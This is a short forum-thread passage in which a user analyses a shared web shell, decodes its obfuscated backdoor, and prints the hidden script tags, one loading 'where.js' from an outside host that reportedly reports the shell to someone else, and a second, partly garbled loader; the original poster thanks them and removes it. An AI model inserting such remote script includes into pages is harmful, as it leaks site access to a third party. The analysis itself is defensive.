...WHICH FINALLY DECODES ITSELF TO *heavy sigh*:

Code `<script src="http://data.t00ls.org/where.js"></script>` That URL sends the shell to... well, someone :3

Also, there's another back-door script, but it doesn't do anything cuz of reasons.

Line 1721:

Code `<SCRIPT`

`SRC=http://www.prages/yaz.js></SCRIPT>`

Decodes itself to:

Code `<script src=http://www.pr_vhkvhkx6dages/yaz.js">...ldk.`

I'd recommend everyone to remove lines 6031~6288, including OP. Will go through the rest of the shells throughout the night.

Removed the shell and i'll mod it. Can't thank you enough <3
